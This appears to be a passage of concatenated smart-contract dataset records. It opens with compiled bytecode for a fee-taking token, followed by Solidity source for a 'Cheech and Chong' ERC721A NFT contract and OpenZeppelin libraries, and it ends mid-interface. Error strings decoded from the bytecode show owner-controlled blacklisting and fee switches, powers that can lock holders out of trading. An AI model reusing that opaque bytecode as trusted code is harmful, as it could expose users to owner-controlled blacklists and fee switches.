390fd5b60008111611c2f5760405162461bcd60e51b8152600401808060200182810382526029815260200180612cb46029913960400191505060405180910390fd5b6001600160a01b03821660009081526009602052604090205460ff1615611c97576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b3360009081526009602052604090205460ff1615611cf6576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b6001600160a01b03831660009081526009602052604090205460ff1615611d5e576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b611d6661156f565b6001600160a01b0316836001600160a01b031614158015611da05750611d8a61156f565b6001600160a01b0316826001600160a01b031614155b15611de657601654811115611de65760405162461bcd60e51b8152600401808060200182810382526028815260200180612c236028913960400191505060405180910390fd5b6000611df1306112ba565b90506016548110611e0157506016545b60175481108015908190611e1f5750601554600160a01b900460ff16155b8015611e5d57507f00000000000000000000000013739944ed952080bc51f77e9c83d99c05dcc6666001600160a01b0316856001600160a01b031614155b8015611e725750601554600160a81b900460ff165b15611e8057611e8082612126565b6001600160a01b03851660009081526006602052604090205460019060ff1680611ec257506001600160a01b03851660009081526006602052604090205460ff165b15611ecb575060005b611ed7868686846121a9565b505050505050565b60008184841115611f6e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f33578181015183820152602001611f1b565b50505050905090810190601f168015611f605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611f8361231d565b9092509050611f928282611f99565b9250505090565b6000611fdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612480565b9392505050565b600082820183811015611fdb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008060008060008060008060006120538a6124e5565b92509250925060008060006120718d868661206c611f76565b612527565b919f909e50909c50959a5093985091965092945050505050565b6000611fdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611edf565b6000826120dc57506000610a2f565b828202828482816120e957fe5b0414611fdb5760405162461bcd60e51b8152600401808060200182810382526021815260200180612c4b6021913960400191505060405180910390fd5b6015805460ff60a01b1916600160a01b179055804761214482612577565b6000612150478361208b565b905061215b81612786565b604080518481526020810183905281517f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486929181900390910190a150506015805460ff60a01b191690555050565b806121b6576121b66127c0565b6001600160a01b03841660009081526007602052604090205460ff1680156121f757506001600160a01b03831660009081526007602052604090205460ff16155b1561220c576122078484846127f2565b61230a565b6001600160a01b03841660009081526007602052604090205460ff1615801561224d57506001600160a01b03831660009081526007602052604090205460ff165b1561225d57612207848484612916565b6001600160a01b03841660009081526007602052604090205460ff1615801561229f57506001600160a01b03831660009081526007602052604090205460ff16155b156122af576122078484846129bf565b6001600160a01b03841660009081526007602052604090205460ff1680156122ef57506001600160a01b03831660009081526007602052604090205460ff165b156122ff57612207848484612a03565b61230a8484846129bf565b8061231757612317612a76565b50505050565b600c54600b546000918291825b60085481101561244e5782600360006008848154811061234657fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806123ab575081600460006008848154811061238457fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156123c257600c54600b549450945050505061247c565b61240260036000600884815481106123d657fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054849061208b565b9250612444600460006008848154811061241857fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054839061208b565b915060010161232a565b50600b54600c5461245e91611f99565b82101561247657600c54600b5493509350505061247c565b90925090505b9091565b600081836124cf5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611f33578181015183820152602001611f1b565b5060008385816124db57fe5b0495945050505050565b6000806000806124f485612a84565b9050600061250186612aa0565b9050600061251982612513898661208b565b9061208b565b979296509094509092505050565b600080808061253688866120cd565b9050600061254488876120cd565b9050600061255288886120cd565b9050600061256482612513868661208b565b939b939a50919850919650505050505050565b604080516002808252606080830184529260208301908036833701905050905030816000815181106125a557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561261e57600080fd5b505afa158015612632573d6000803e3d6000fd5b505050506040513d602081101561264857600080fd5b505181518290600190811061265957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506126a4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a7a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612749578181015183820152602001612731565b505050509050019650505050505050600060405180830381600087803b15801561277257600080fd5b505af1158015611ed7573d6000803e3d6000fd5b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d14573d6000803e3d6000fd5b6011541580156127d05750601354155b156127da576127f0565b6011805460125560138054601455600091829055555b565b6000806000806000806128048761203c565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612836908861208b565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612865908761208b565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546128949086611fe2565b6001600160a01b0389166000908152600360205260409020556128b681612abc565b6128c08483612b45565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806129288761203c565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061295a908761208b565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546129909084611fe2565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546128949086611fe2565b6000806000806000806129d18761203c565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612865908761208b565b600080600080600080612a158761203c565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612a47908861208b565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461295a908761208b565b601254601155601454601355565b6000610a2f60646118ce601154856120cd90919063ffffffff16565b6000610a2f60646118ce601354856120cd90919063ffffffff16565b6000612ac6611f76565b90506000612ad483836120cd565b30600090815260036020526040902054909150612af19082611fe2565b3060009081526003602090815260408083209390935560079052205460ff1615612b405730600090815260046020526040902054612b2f9084611fe2565b306000908152600460205260409020555b505050565b600c54612b52908361208b565b600c55600d54612b629082611fe2565b600d55505056fe4f6e6c792044657620416464726573732063616e2064697361626c65206465762066656545524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fefa3b91adf4d54f56ea6689f5f716c669ec8623a967f55a6104f8b9dcd2559064736f6c634300060c0033
[ 13, 5, 11 ]
0xf22da0424d1dfd70099d30941bbaf35e7f986f1d
// SPDX-License-Identifier: MIT /// @title: Cheech and Chong Present: Homies in Dreamland /// @author: DropHero LLC pragma solidity ^0.8.9; import "./lib/ERC721A.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; contract CheechAndChongToken is ERC721A, AccessControlEnumerable, Pausable, ReentrancyGuard, Ownable, IERC2981 { struct RoyaltyInfo { address recipient; uint24 basisPoints; } bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); uint16 public MAX_SUPPLY = 10_420; uint16 _remainingReserved = 111; string _baseURIValue; RoyaltyInfo private _royalties; constructor(string memory baseURI_, address royaltyWallet) ERC721A("My Homies In Dreamland", "HOMIES", 20) { _baseURIValue = baseURI_; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _royalties.recipient = royaltyWallet; _royalties.basisPoints = 1000; } function pause() public onlyRole(DEFAULT_ADMIN_ROLE) { _pause(); } function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) { _unpause(); } function _baseURI() internal view override returns (string memory) { return _baseURIValue; } function baseURI() public view returns (string memory) { return _baseURI(); } function setBaseURI(string memory newBase) external onlyRole(DEFAULT_ADMIN_ROLE) { _baseURIValue = newBase; } function remainingReservedSupply() public view returns(uint16) { return _remainingReserved; } function mintTokens(uint16 numberOfTokens, address to) external onlyRole(MINTER_ROLE) whenNotPaused { require( numberOfTokens > 0, "MINUMUM_MINT_OF_ONE" ); require( totalSupply() + numberOfTokens + _remainingReserved <= MAX_SUPPLY, "MAX_SUPPLY_EXCEEDED" ); _safeMint(to, numberOfTokens); } function mintReserved(uint16 numberOfTokens, address to) external onlyOwner whenNotPaused { require( numberOfTokens > 0, "MINUMUM_MINT_OF_ONE" ); require( totalSupply() + numberOfTokens <= MAX_SUPPLY, "MAX_SUPPLY_EXCEEDED" ); require( numberOfTokens <= _remainingReserved, "MAX_RESERVES_EXCEEDED" ); _safeMint(to, numberOfTokens); _remainingReserved -= numberOfTokens; } function setOwnersExplicit(uint256 quantity) external onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function setRoyaltiesPercentage(uint24 basisPoints) external onlyOwner { require(basisPoints <= 10000, 'BASIS_POINTS_TOO_HIGH'); _royalties.basisPoints = basisPoints; } function setRoyaltiesAddress(address addr) external onlyOwner { _royalties.recipient = addr; } function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) { RoyaltyInfo memory royalties = _royalties; receiver = royalties.recipient; royaltyAmount = (salePrice * royalties.basisPoints) / 10000; } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, AccessControlEnumerable, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) 